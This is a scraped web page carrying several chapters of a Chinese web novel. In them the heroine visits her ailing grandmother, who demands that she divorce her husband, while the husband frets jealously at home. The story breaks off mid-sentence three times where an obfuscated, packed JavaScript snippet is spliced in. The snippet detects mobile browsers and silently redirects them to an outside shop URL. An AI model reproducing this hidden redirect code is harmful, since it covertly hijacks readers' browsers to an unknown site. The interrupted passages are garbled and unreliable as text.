晁旌弯了弯眼睛,“娘子和柯玉姐姐喜欢就好。”顿了顿,他又说道:“在路上没有机会展示,我做饭真的很好吃的,晚上我再借点儿食材,给你们烙饼吃,多的可以带着在路上吃。” “你就别逞能了。”柯玉像以前一样说话不怎么注意语气,下意识开怼。 姜宜年道:“这怎么能算是逞能了,我觉得晁旌做的确实不错,想法也很好,路上那些凑合的干粮我都吃腻了。” 柯玉表情正色起来,“都怪姜娘子当时催得急,不然郎君肯定会准备好一大堆好吃的,这一路上可苦了娘子了。” 她们当初出门确实太着急了,商琮琤虽然行事果决,几乎方方面面都很周到,但食物也只能准备些可存放的,口感自然保证不了。 柯玉这么一提,姜宜年又想起商琮琤来。 她有点儿鄙视自己,答应姜叶一起去鼎州,一方面是为了老人家,另一方面就是希望他们两个能各自冷静一下。 结果出了门,走了这么远,一天想八回。 姜宜年垂下眼睫,看着碗里还剩了一半的羊汤,心里想着,不知道嵘城现在是什么天气,下雪了没有。 即便没有下雪,应该也降温了吧,商琮琤看起来不是很会爱惜自己的人。不过也不用担心,吉枣肯定会提醒他加衣的。 如果商琮琤对原主是真心实意,那么他应该很害怕自己生病,如果他倒下了,就照顾不了原主了。 “娘子在想什么?” 姜宜年一抬头,晁旌和柯玉都正看着她。 “喝不完了,饱了。” 柯玉皱了皱眉,“娘子这才喝了多少,怎么就饱了。” 晁旌眨了眨眼,姜宜年看出了他的意图,猜测他没给自己准备。 便把自己的碗朝他的方向推了一下,“不知道你嫌不嫌弃……” “不嫌弃,不嫌弃,怎么会呢。” 晁旌欢天喜地接过去自己开喝,柯玉的表情一言难尽。 姜宜年笑着摇了摇头,他们两个,小孩儿一样。 27. 第27章 静谧之中突兀地出现一声巨响,接着什么东西砸在地上—— “妻主……” 商琮琤缓缓抬起头,睁开迷茫的双眼,吉枣就是在这个时候进来的。 风太大了,窗叶把花瓶碰倒,滚落到地上,一地的碎片。 幸而商琮琤离得远,碎片没有伤到他。 吉枣看了一眼一地狼藉,望向商琮琤,道:“郎君回房去睡吧,已经很晚了。” “妻主……” 然而商琮琤一脸茫然,眉头紧皱,问吉枣:“妻主如何了?有没有醒过来的迹象?风……风这么大,她会不会着凉?” 吉枣没回话,商琮琤皱着眉朝他看过去,“问你话呢。” “呃……”吉枣咽了咽口水,小心翼翼道:“郎君睡糊涂了,娘子去鼎州了,郎君忘了吗?娘子已经醒过来了。” 商琮琤怔了怔,思绪终于全部归位,脸色稍霁,“是啊,我真是糊涂了。”他问:“什么时辰了?” “丑时三刻了,郎君。” 商琮琤低头,深吸了一口气。 回到卧房里,商琮琤面无表情看着窗外,吉枣忙完手里的事情去关窗,商琮琤的目光还停留在那处。 “变天了。” “是呀。”吉枣道:“不过本来就入冬了,往后一日会比一日冷的。” 商琮琤眨了眨眼,声音情绪并无起伏。 “若是路上耽搁,或是鼎州那些人强行挽留,妻主会不会留在鼎州过年呢?” 吉枣想了想,随口道:“娘子当然是想回来跟郎君一处过年的,应该不会留在鼎州吧,不过最好路上不要下雪,风雪路难行,要是真遇到了,娘子想回来也没法子呀。” 商琮琤把目光落在吉枣身上,吉枣感觉到一阵毛骨悚然。 “我……我瞎说的郎君,娘子肯定会在过年前平安归来的,就算为着郎君您,她也会赶回来的。” 商琮琤微微垂眸,颔首一瞬,道:“妻主当然会想着我,不过就算被什么事情什么人绊住了也不要紧,你及时收信,那边若有什么情况,妻主一时间回不来,我们就启程去鼎州。” “这……”吉枣深吸一口气,点了点头,“好,郎君放心,我晓得的。” 商琮琤已经换了寝衣,吉枣打算离开,发现自家主子似乎没有躺下睡觉的意思。 “郎君,休息吧。” 商琮琤原本撑着下巴看着窗户的方向,听到这话,转头眼睛眨也不眨地看着吉枣,向他发问—— “你说,妻主路上可会遇到什么麻烦?” “前日才收到信,娘子很安全呢。” “一直赶路,也吃不到什么好膳食,肯定会饿瘦的……” “这个确实……”吉枣已经困极,不过不安抚好商琮琤的情绪,他没办法睡觉。 “等娘子回来,郎君亲自下厨,好好给娘子补一补,娘子醒过来后,虽说什么都不记得了,但还是跟以前一样,很喜欢吃郎君做的吃食呢。” “你说的是。”商琮琤点了点头,“你说那个跟着妻主的人,做的吃食如何呢?” 吉枣差点儿被自己的口水呛着,“郎……郎君……来信上不是说了,娘子只是顺路送他与家人团聚吗?娘子对郎君一片真心,跟那小子是肯定不会发生什么事情的。” 商琮琤目光幽深,“是啊,娘子心善,所以才会带着他。” 吉枣刚刚松了口气,突然又听到商琮琤说:“可此行去鼎州,山高路远,途中到底会发生什么,很难说呢。” 语气虽然听起来姑且还算正常,不过吉枣知道,商琮琤此时此刻,既焦虑,又愤怒。 “他们会不会住同一间房?会不会睡同一张床呢?到时候妻主回来,会不会把他也带回来,说不定……肚子里还多了一个……” 吉枣只能一个劲儿地安慰他:“不会的,娘子不是那种人……” 这话吉枣说得很没有底气。 他是商琮琤的陪嫁,自小受旁边的环境影响耳濡目染,知道女子多情花心是常态,谁不娶个三夫四侍呢?对一个男子情有独钟才是特例。 姜宜年本来是特例的,未成婚前,她连个通房相好的都没有,可是如今……姜宜年什么都忘了。 一觉醒来,她不记得所有人了,包括商琮琤。 吉枣不会跟别人乱说,但他很清楚,自从姜宜年醒过来,他们还没有真正的…… 她会不会移情别恋呢?谁也没办法保证。 吉枣很清楚,他这主子每日待在这偌大的院子里无能为力,已经快疯了。 而自己什么都做不到,只能用极其苍白的言语,宽慰他,安慰他—— “郎君,不要这样想,娘子跟其他任何女子都不一样,你知道的,她不是那么随便的人。” 商琮琤痛苦地闭上了眼睛,过了许久…… “是,你说得对,她跟其他女子不一样,她不会那样做的。” “郎君,很晚了,该歇息了。” 商琮琤木然地点了点头。 吉枣服侍他躺下,帮他拉好了被子,解下床幔,见商琮琤闭上了眼睛,才悄然无声地退了出去,小心翼翼地关上了门。 然而吉枣刚刚离开,商琮琤就睁开了眼睛。 他睡不着。 从平躺换成了侧躺的姿势,商琮琤满脑子都在想姜宜年现在在干什么,跟谁在一起。 他们肯定会说很多话吧,姜宜年一定会问对方是从哪里来的,还有些什么家人,除了遭难之后的经历,还有之前跑江湖的时候遇到的事。 他们会说好多好多话,整日混在戏班子里,恐怕很健谈,性子应该也不像他这么古板,姜宜年会更喜欢跟那人说话。 商琮琤找人查过那个人,知道他的名字、年龄、籍贯,了解他以前做过什么事情,去过什么地方。 自从知道对方比自己年轻,商琮琤就一直很焦虑。 哪个女人不喜欢年轻长得好看的少年郎呢? 姜宜年大抵也不能免俗。 商琮琤不会责怪姜宜年,这是人之常情,他只是觉得……时而无力,时而气愤。 姜宜年还没有想起来他是谁,身边就出现了别的男人。 他们的好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16803340|189017||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 日子还没有开始。 商琮琤多么害怕,他们最幸福的时光,可能已经结束了。 他一直期待姜宜年醒过来,只不过他从来没有想过,当姜宜年真正醒过来的时候,会忘记他,忘记跟他有关的一切。 * “阿嚏!” 姜宜年打了个喷嚏,柯玉立刻起身把炭盆挪了个位置,“娘子可是觉得冷了?” “没有,毕竟下雪了嘛,有点儿冷空气很正常。” 姜宜年揉了揉鼻子。 她这间房是最大的,不止房间大,床也大。 这一路上,柯玉已经从“不行、不可以、绝对不能”,到现在坦然跟她躺在一张床上了。 柯玉睡在外侧,夜里还会给姜宜年盖被子。 姜宜年稍微觉得有点儿热就会掀被子。 原本她们已经睡着了,可不知道什么时候,外面的风雪又大了起来,把窗户吹开了,发出声响,惊醒了两个梦中人。 柯玉侧身看着姜宜年,“娘子睡吧,不会再有什么动静吵醒你了。” 姜宜年半夜被吵醒,睡意散了大半,她看着柯玉的眼睛,突然想起一件事情来。 “你为什么说商琮琤命不好,真正求娶他的没有几个?”姜宜年问:“他长得那么好看,应该有很多人喜欢吧?” 柯玉一愣,显然根本没有想到姜宜年会在这个时候重提这个话题。 “娘子……” “说吧,现在只有你我,我又不会跟他告密。” 眼见柯玉还在犹豫,姜宜年循循善诱:“以前我肯定是知道的吧?不然只有你知道就很奇怪了,既然我本来就知道,现在只是不记得了,你希望我尽快恢复记忆吗?” “那是自然。”柯玉不假思索回答道。 姜宜年笑笑,“那你就告诉我吧,说不定你说的越多,我听的越多,想起来的就越多呢?” 柯玉艰难地做了一会儿思想斗争,“好吧。” 像下定某种决心似的说完,柯玉一张脸皱皱巴巴看着姜宜年:“娘子可千万不要让郎君知道我说过接下来的这些话啊。” “放心吧,我答应你。” 就这样,柯玉心不甘情不愿地开口讲起故事来。 姜宜年记得,自己刚醒过来的时候,柯玉就说过郭氏那个活爹时不时就会骂商琮琤是扫帚星,她自己也亲耳听见过。 还说他不仅克了妻主,还克了妻主的母父,待字闺中时,母亲就被他克死了,嫁进姜家后,开始对姜家发力。 姜宜年听完,沉默了一下,“完了?” 柯玉点头。 “这些你之前说过啊。” 柯玉猛地瞪大眼睛,显然忘记了自己说过的话,后来不知道想到什么,叹了口气,似乎对自己很是无奈。 “听说郎君未成婚前,在家里受了不少委屈,因为都说是他克死了自己的母亲,虽然长得最好看,可什么好的都轮不到他,因为家里人的口无遮拦,虽然许多人心仪他,却没有一个敢娶他的。” 姜宜年突然想到了什么。 “怎么会呢。” 28. 第28章 她对商琮琤那个白月光非常非常非常好奇,但是也知道只要她不提,大概率身边的人就不会主动提到那个人。 可柯玉嘴巴不严,姜宜年觉得自己如果这个时候问了,商琮琤总有一天会知道。 还是算了。 如果他真的对原主情深义重,知道了不晓得会有多难过。 “和娘子成婚后之后……姜家也出了不少事,就像是坐实了这种说法一样,郎君他……真的很难,虽然他从来没有表现出来过,但是我们都能想象到郎君心里会有多难过。” 柯玉长舒一口气,道:“不过现在好了,娘子醒了过来,郎君就有倚靠了,往后姜家只会越过越好,不会再有人敢当面对姜家的人说三道四。” 姜宜年有些意外地看着她:“这不是你说的吧?这话一套一套的。” 柯玉“嘿嘿”笑了一声,看起来有些不好意思。 “我姐说的,我学她的。” 柯玉帮姜宜年拉了拉被子,“娘子睡吧,还要早起呢。” 姜宜年点了下头,贪婪地感受着屋子里的温暖,闭上了眼睛。 天亮又要继续赶路,赶路又要坐马车,唉,想想她还是喜欢脚踏实地的生活。 其他人都起得挺早,姜叶见雪停了还出了太阳很兴奋。 问及姜宜年起了没,柯玉回答:“夜半时风大雪大吹开了窗子吵醒了娘子不说,还让她有些着凉,后面也一直没睡好,因而此刻还歇着。” 不等姜叶开口,柯玉继续道:“娘子这一年一直昏迷不醒,看着气色还不错,都是因为郎君照顾得当,但没法子要出门走这么一趟,我方方面面都比不得郎君,担心娘子染了风寒,所以便想让她多睡一点。” 姜叶知道柯玉的意思,天气好,她心情也不错。 于是点了点头,道:“确实难为阿姐了,让阿姐继续睡吧,我们出发还需要准备些别的,等收拾好了再叫她也不迟。” 柯玉福了福身子,道了声谢。 这番对话发生在姜宜年的房间门口,她其实听到了几句,但把被子一蒙只当没听到,这个时候的回笼觉最香了。 晁旌夜里借了厨房,真的烙了饼,邀请柯玉品尝,柯玉尝了一小块,表情变化有些微妙。 想了想,还是给出了夸奖的回应,晁旌的厨艺得到了肯定,还是来自于一向看不惯不喜欢他的柯玉,高兴极了。 “我装一些放在马车上我们路上吃。” “嗯。”柯玉点头,道:“先……” “先留一些给娘子醒过来吃,我晓得的。” 晁旌说完,对柯玉莞尔一笑,柯玉嘴唇轻抿,没说话。 姜宜年确实是等他们安排好了一切才起来的。 其实这个队伍里,只要姜叶不觉得姜宜年的做法不妥当,就不会有任何人看她不顺眼。 姜叶又是个体面人。 所以两个人的关系虽然算不上亲厚,但也不会撕破脸,足以做到表面和平共处。 姜叶趁这个时间又着手添了些路上可能会用到的东西。 等到姜宜年重新登上马车时,发现柯玉提前给车里垫了厚垫子,还备了厚毯子,非常贴心。 关于赶路,晁旌兴致勃勃,姜宜年却有点儿有气无力。 刚上路两个时辰,天空又飘起细小的雪花。 其实在前一晚后半夜的时候,姜宜年就想到了这个问题—— 如果她们到达鼎州以后,天气愈发寒冷恶劣,她们回嵘城是不是会受到阻碍? 虽然现在距离新年还不算太近,但……姜宜年可不想在鼎州度过新年。 而且,以商琮琤的角度来说,日盼夜盼的妻主好不容易醒了过来,这第一个新年他们没办法一起度过,太糟糕了。 后面的路程虽然因为天气原因走走停停,但总归没再发生什么大事件。 抵达穹州时,姜叶带了一个随从先行一步骑马去了鼎州。 正常情况下从穹州去鼎州需要一天时间,但姜叶想最后冲一下。 晁旌是姜宜年要带上的人,这一路上跟姜叶的来往不多,姜叶对送佛送到西表示理解,离开前跟姜宜年短暂告别。 “等我回家,就让人来接阿姐。” “不用。”姜宜年摇头,“你的人知道怎么去,等把晁旌送回家,明日天一亮我们就出发,快马加鞭一路不停,明晚也就到了。” 虽说在路上姜宜年温温吞吞的,但已经快到老人家家门口了,再找借口拖延怎么都不合适。 姜叶微微颔首,“阿姐今日先好好休息一下,我太担心祖母了,必须先回去看看她的情况才能放心。” 这就是没有手机的坏处了。 姜宜年宽慰了她两句,姜叶便骑马疾驰而去。 其实这一路上姜宜年都在默默怀疑,这是不是一场戏,就是为了把她诓来。 不过每次她们不得不在路上停下来的时候,姜叶都很焦虑,看到天晴她就会变得开心。 再加上这个时候她的表现,如果是假的,好不容易把人诓来,要么应该会极力邀请姜宜年跟自己一起赶回去,非要让人在她的眼皮子底下待着才对。 但姜叶没有,甚至没提。 晁旌从快到穹州开始就变得沉默寡言,姜宜年知道他想起了母父,还有自己的不幸遭遇。 跟陌生人在一起,可以暂时忘却那些痛苦的经历,不过跟亲人团聚之后,只能老实诉说回忆。 甚至连柯玉都安慰了他几句,晁旌却笑不出来。 晁旌也没撒谎,他外祖家姓严,的确在穹州,据他自己说,上次过来时年纪还很小,问了几个人才找到地方。 得知从未料想到过的事实后,一家人抱头痛哭。 姜宜年和其余四人有些尴尬。 老人家经历多,很快镇定下来,得知是姜宜年救了晁旌,又送他回来,反复道谢,邀请她在家里住下,住的越久越好。 姜宜年直接拒绝,说了姜家的情况。 “姜家?鼎州姜家?”家主严暄站了出来,“娘子是姜家人?” “是,我们是从嵘城过来的,既然娘子知道……我家祖母病得很重吗?” 对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16808112|189017||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方默了默,“前几日听说情况不大好,不过没听到什么坏消息,娘子回去,听到的肯定是好消息。” “承您吉言。” 姜宜年说了情况,晁旌的家人也不好强留她们。 晚膳时间,长者没有到场,姜宜年秉持着礼貌问了一句。 晁旌叹了口气,小声回答她:“外祖父一直在哭,哭得晕了过去,说吃不下饭,就不来了,外祖母要照顾他,都让我跟娘子说声抱歉。” 姜宜年也跟着叹了口气,“他们年纪大了,你要好好劝劝他们。” “嗯,我明白。” 严家比普通百姓条件好些,不过比不得姜家,晁旌回来得仓促,饭食也是临时安排的,略显不周,未分席。 严暄把他们说话的样子尽收眼底,突然扬声问道:“娘子来自嵘城,应该是姜氏一族本家?” “啊……是。”姜宜年回答简略。 严暄继续问她:“娘子可成家了?” “成家了。” “娶了几房?” 姜宜年眉头微蹙,淡然道:“只有一位正夫。” “看来娘子的夫郎魅力不浅,不然以娘子的条件,怎么可能只娶一个呢。”严暄笑道。 晁旌立刻开口:“家主,姜娘子她……” “娘子觉得我家小旌如何?娘子救了他,按照古往今来的规矩,小旌该以身相许才行。” 姜宜年花了两秒去感受严暄是在开玩笑还是说真的,晁旌脸色看起来很差。 “严娘子说笑了,在当时的情况下,若我不救他,自己也活不了,准确来说,是晁旌自救成功,我只是顺手帮了个忙送他回来,这跟他的性别、年龄、长相都没有关系。他是个人,是人就有活下去的权力,严娘子觉得呢?” “姜娘子说得对。”严暄笑笑,举杯,问她:“姜娘子真的不能喝一杯?” 晁旌开口帮忙解释:“姜娘子大病初愈,真的不能喝酒。” 严暄没再苛求。 姜宜年明白,或许是因为他们一路上朝夕相处,在严暄看来除了把人送给她之外很难善了。 又或许严暄本来就不想接收晁旌,认为他是个麻烦,刚好可以用这种借口把人顺势送出去。 无论是哪一种原因,晁旌要想一直待在严家,估计日子不会好过。 姜宜年好奇起来,严家居然是他斟酌之后觉得更好的去处吗? 所以如果当时送他回了嵘城,他这会儿会遭遇什么? 饭后,严暄去安慰两位老人,晁旌找了机会跟姜宜年私下道歉。 “家主只是开玩笑,娘子不要当真,也不要介意……” “我没事,倒是你,留在这儿没问题?你毕竟不姓严,这家家主看起来也没……”姜宜年顿了顿,换了种说法,“她看起来不怎么好相处。” “只要外祖母在,她会保我周全的。” 姜宜年轻叹一声,“往后你就好好保重吧。” “娘子也是。”晁旌瞟了一眼不远处站着的人,轻声问道:“若去了嵘城,我能去探望娘子吗?” 29. 第29章 “只要你想,就可以。” 晁旌眼睛亮闪闪地笑了笑,但很快又黯淡下来,“嵘城太远了,不知道此生有没有机会去。” “这一路上也不近,不也将你送到了?” 晁旌微微笑着望着姜宜年。 翌日一早,姜宜年准备启程赶往下一个目的地。 临行前,严暄给她送行。 “姜娘子帮了我们家这么大的忙,原本无论如何都要多留姜娘子住些时日以示感谢的,但老人家为重,没法留娘子了。” “家主说的是。”姜宜年以礼还礼。 “此番招待不周,待姜娘子启程回嵘城时,一定要在我家住些日子。” 姜宜年笑笑,没给出定论,“若不赶时间,一定,只是我出门这么久了,家中相关事宜都是郎君操劳,若我在外面久了,郎君日子定不好过。” 严暄哈哈一笑,“也是,忘了姜娘子家中还有位夫郎日思夜想盼着娘子回去呢。” 姜宜年微笑着,没有反驳,再次告辞,转身上了马车。 柯玉居然晚她一步,急匆匆跟上来,姜宜年看了她一眼,撩开车帘,看到站在门口檐下的晁旌远远地看着她们的马车,没有靠近。 严暄扬声道:“娘子慢行。” 姜宜年微微颔首,“家主回去吧,我们这就走了。” 离得远了些姜宜年才放下车帘,转头问柯玉:“你刚才跟晁旌说话去了?” “唔。”柯玉有一种突然被抓包的无措感,“我……” “嗯?”姜宜年看着她挑了挑眉毛。 柯玉是个藏不住事儿也藏不住话的人,短叹一声,就开口了。 “娘子怎么看不出,这严家家主昨夜说的那番话,分明是不想留下晁旌,上赶着想把人送给娘子,当他是个累赘。依我看,等我们走了,他在这里的日子不会好过,就安慰了几句。” 姜宜年轻笑一声,“好不好过是他的事情,你动什么气?” 柯玉一怔,立刻解释道:“这一路上他跟我……们待了那么久,我想着,他命苦,原本不想去嵘城还以为穹州是个好去处,现在看来也不过如此,我都开始好奇了,若是去了嵘城他会遭遇些什么。” 姜宜年没说话,柯玉一说开话就停不下来,“也不知道那两个老人家能护他几时,若是……” 马车内响起一声轻笑,柯玉面色一僵,“娘子……” “你小小年纪为别人操这么多心,很容易老的。” 笑着说完,姜宜年深吸一口气,轻轻吁了出去,“这一路上既然你都看到了,他这么聪明,又是自己选的路,肯定已经考虑好了一切,我们管不了。” 柯玉看起来不大高兴,姜宜年偏了头小声问她:“你有没有跟他说,让他有难处的时候,去嵘城?” “说……说了。” 姜宜年都能想象到柯玉一本正经居高临下对着晁旌说这话的样子,笑得停不下来。 紧赶慢赶,夜深了才到姜家。 地方到了,柯玉轻轻把姜宜年摇醒。 姜宜年打了个哈欠,揉了揉眼睛任凭柯玉帮她整理衣衫,一切准备就绪才下马车。 姜叶已经带着弟弟妹妹们在门口候着了。 虽说是旁支,但瘦死的骆驼比马大,毕竟家底不薄,从门口瞧着,只比嵘城的宅子旧了些。 “阿姐。”姜叶过来拉姜宜年。 姜宜年对她笑了笑,问道:“祖母如何了?” “下不了床,吃了些苦头,现在没什么心气儿,阿姐来了就好了,跟着我一起劝劝。” “好。” 姜叶简单介绍了身后的几个弟弟妹妹,姜宜年基本上没记住一个,全程微笑,自认为还算不失礼数。 “阿姐脸色不太好,肯定是今天赶路所致,要不先去休息?” “夜深了,让其他人快去睡吧,若是祖母还没歇息,我就去见见她,若是歇着了,我就明日一早再去。” 姜叶点头,让身边的小仆去问问情况。 “我先带阿姐去看看住处,若是有什么不妥的,阿姐一定要跟我说。” 这算是到了姜叶的主场,她的主人派头十足。 给姜宜年安排的房间当然是最好的,调来的仆从也很得体,姜宜年自然挑不出什么问题来,挑出来了也不会说。 “阿姐饿不饿?我先让厨房给阿姐做点儿吃的。” 姜宜年搭了她的手,轻声道:“你别想着忙这些了,若我需要什么,肯定自己跟你说。” 不多时,有人来回话,“老太太还没睡,听说嵘城的娘子来了,想见见呢。” 姜宜年起身,跟姜叶一起出门。 前面有人引路,提着灯笼七拐八拐,走了一会儿,姜叶停下来。 “祖母病着,若是对阿姐说了什么不好听的话,阿姐莫怪。” 姜宜年正被这拐来拐去的路搅得有些糊涂,根本没听姜叶说什么,条件反射就礼貌回应了一句,等姜叶转身了她才反应过来。 什么?对方会对她说什么不好听的话吗? 她这千里迢迢赶过来,难不成上赶着来挨骂? 早知道老太太不会……她还不如当时顺着商琮琤的话,死活都要留在嵘城,哪怕日日夜夜跟商琮琤面面相觑,也好过过一路上风餐露宿,到了了还得挨训。 事到临头,想跑路也不能了。 “宜年,姜宜年,对不对?” “是我,祖母。” 老太太躺在床上,目光浑浊,姜宜年怀疑她是不是真的能看到自己,就主动上去握了她的手。 “你竟然真的醒了……” “是真的,祖母。” “你家那个老婆子若是知道,一定会很高兴的,你来看我一趟,我也就放心了,回头下去见了她,也能好好跟她说说你的事,让她在地底下放心。” “……” 姜宜年垂下眼睫,道:“祖母别这么说,这一路上小妹一直在为祖母担心,我看着她也难过,今日见了祖母,才知道听到的都是谣传,日子还久着呢。” “呵,你这丫头,说话倒好听。”老太太叹息一声,“可惜呀,好听的话都不真。” 老太太眼睛一斜,问她:“你可明白?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16812549|189017||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 姜宜年眨了眨眼,回头看了一眼姜叶,姜叶紧抿双唇,没从表情透露出什么。 “我没多少日子了,自己心里清楚得很,等着你来,一是想看看你,也好下去了给那老婆子有个交待,二是……” 姜宜年挑了下眉,知道重点来了。 老太太顿了顿,“叶儿,你们先出去。” “是。”姜叶最后看了姜宜年一眼,退出了屋子。 柯玉原本没动,姜宜年偏过头去给她使了个眼色,柯玉就也跟着出去了。 “……二是,我知道你也是没法子,但毕竟做了些混账事,眼下你既醒了,捡回一条命来,这是祖宗庇佑,你得做出表率来才行。” “祖母这话……何意?” 虽然称呼没变,但姜宜年的声音较之前冷了些。 “我知你不易,不过怎么能把全部家业交到一个男人手里?!” 说到激动处,老太太咳了两声,姜宜年低着头一言不发给她顺气。 “是祖宗庇佑,才没让那么一个男人把你的家业败光!可你醒过来之后,有没有反思过自己的过错?” 对方很激动,但姜宜年的内心毫无波动。 她突然想到,当时不让商琮琤跟来,还真是做对了。 如果此刻商琮琤也在,面对的绝对不可能只是这些言语上的指责。 什么祖宗。 姜宜年不屑地想。 如果真是祖宗庇佑,怎么活过来的是她不是原主? 还说什么是祖宗庇佑姜家的家业才没被商琮琤败光,拜托,虽然她当时不在,但想也知道,姜家现在还能正常运转,那几房还有银钱挥霍,甚至还有心思去折腾商琮琤,都是因为商琮琤本身。 他们到底什么时候才能意识到这一点? “为什么不说话?无话可说了吗?” 姜宜年原本真的很想笑,但也只能想想,她告诉自己对方是个弥留之际的老太太。 忍忍吧,还能咋地。 但你说话,就会被说成是顶撞长辈,目中无人,但不说话,又会被解读成是心虚。 “我反思什么?” 姜宜年最终还是没能忍住。 “什么?”老太太惊着了。 “祖母既然说知道我当时没法子,我以为祖母会理解我的,我没有妹妹,只有几个不成器的弟弟,与他们相比,我的夫郎是最合适的可托付之人,现在看来我的选择也没有出错啊,他做得很好。” “你还好意思说这些?”老太太激动地像是要坐起来,姜宜年板着脸帮了一把,对方一直瞪着她。 “他有没有跟你说过,当时叶儿提出要去嵘城帮忙,被他直接给回绝了?” 姜宜年睫毛动了一下,哦,原来打的是这个主意。 “夫郎初次当家,自当小心谨慎,他与姜叶,是在我们启程来鼎州之前才见的第一面,当时遇到那么多突发事件,小心总是没错的,我认为他做的没什么问题。” “好,就当他当时全是为了姜家着想,现在呢?” 姜宜年面带冷笑问:“现在又怎么了?” 30. 第30章 “你竟无一丝悔过之意吗?” 为何要悔过? 看着面前人的情况,姜宜年只能在心里回怼这么一句,要真说出口,她怕自己一个不留神就把老太太气得一命呜呼了。 到时候被骂的还是商琮琤。 见她不反驳,老太太表情稍霁。 “宜年,过去的事情不提了,你现在身体无恙,此事还有补救的机会啊。” 姜宜年唇角微微牵起,仿佛不耻下问一般,天真地开口问道:“什么补救的机会?” “休夫。” 老太太说完,又跟着咳了两声,不过姜宜年这回没动,就那么看着,她的耐心已经几乎要被耗尽了。 “你现在就写休书,表示自己愿意跟商氏一刀两断,日后再不来往,就当你为自己的行为赎罪,等我下去以后,愿意帮你说些好话。” 老太太等着姜宜年表态,姜宜年不说话,沉默看着她。 半晌—— “不行。”姜宜年面带微笑摇了摇头。 “为什么不行?”老太太瞪圆了眼睛。 看着那浑浊的双目,姜宜年突然想起的却是商琮琤那双温润如水的眼睛。 “我的夫郎叫商琮琤,以防老太太不清楚,这是他的名字。”姜宜年顿了顿,道:“严格意义上来说,在我昏迷的这一年之中,姜家的一大家子都靠他养活着,商琮琤不是姜家的累赘,他是姜家的主心骨,我不可能听您的休了他,另外,我根本不觉得他有错,也不认为自己做错了什么。” 老太太气得猛烈咳嗽停不下来,姜叶从外面闯了进来,“祖母这是怎么了?祖母?阿姐,你跟祖母说了什么?” 姜宜年能在那个姜家里怼几个活爹,但是对这样的老太太终究不能说太重的话。 “我也不明白,老太太突然就非要让我休夫,我拒绝之后,她就这样了。”姜宜年面无表情看着姜叶。 “休夫……” 姜叶诧异了一瞬,继续给老太太顺气,喂了些温水之后,老太太的情况终于稳定下来。 “姜宜年,你祖母还在世时,我与她关系最好,若是她知道你今日这油盐不进的混样子,死了也得被你气活!” “祖母,您少说两句吧。” 那不是好事么。姜宜年在心里说。 不过姜叶忧心忡忡的样子让姜宜年疑惑起来,她能什么都不知道吗? “您说嵘城姜家眼下还在是因为祖宗庇佑,又说我昏迷一年能醒过来也是祖宗庇佑,按您的说法,祖宗心慈、仁厚,想方设法不让姜家砸在我手里,所以给了我这么好的一个夫郎,我想,她们是站在我这边的,您以后就会知道了。” “阿姐……” 姜叶左右为难似的,脑袋甩得像拨浪鼓。 姜宜年对姜叶耸了下肩,面色微冷,表示说这些话,走到这一步,实属无奈。 她原本是想着无论老人家说了什么都不能掉脸的,但听到那些话,还有那无礼的要求,她根本做不到无动于衷。 “您要我的态度,这就是我的态度。此生,我不可能休夫,就算有朝一日我们相看两厌过不下去了,也只会和离,不会是休夫。” 姜宜年深吸一口气,“老太太,我也病了许久,想必您有所耳闻,撑了这一路,我实在撑不住了,言尽于此,您好好休息吧。” 她起身时还故意晃了晃,柯玉眼疾手快跑过来扶住了她。 在姜叶推门而入的时候,柯玉就一直眼观鼻鼻观心地守在门口听着里面听动静。 “阿姐。” 姜叶想拉姜宜年,反被姜宜年抢先拍了两下胳膊。 姜宜年故意看着她,很无奈地长长叹了口气,姜叶不好再说什么留她。 “带阿姐去休息。” 维持着这样虚弱的状态,一直到被人领进了房间,身边只剩下柯玉一个人的时候,姜宜年才直起腰来,松开了柯玉。 柯玉长出了口气,“娘子果然是装的,我一直提心吊胆着呢,还以为娘子真的被气坏了。” “是被气得不轻。”姜宜年坐下,给自己倒了杯茶,柯玉站在她身边一个劲儿叹气。 “她为什么要逼娘子休夫呢?” “恐怕这是警告,不是目的。” 柯玉一头雾水。 两人默默待了会儿,柯玉开口道:“娘子还是先歇息吧,赶了一天的路,晚上还受了气,先好好睡一觉,不管什么事情明天再说。” “不急,你给我找纸笔来。” 柯玉瞪大了眼睛,惊恐万分:“娘子不会真要给郎君写休书吧?!” “瞎喊什么。”姜宜年无奈地看着她:“我方才说的话你难道没听到?” 柯玉眨了眨眼。 姜宜年道:“好不容易到了这儿,得给他写封信报个平安。” 柯玉“哎”了一声,欢快道:“我马上给娘子拿来。” 姜宜年醒过来之后,虽然没有继承原主的记忆,但可以很自然地执笔写字。 虽然写的不怎么样,但比想象中自己写的毛笔字好看许多。 她猜,这是原主的缘故,而且商琮琤看到过她写的字,没有表现出什么明显情绪,似乎就是应该如此。 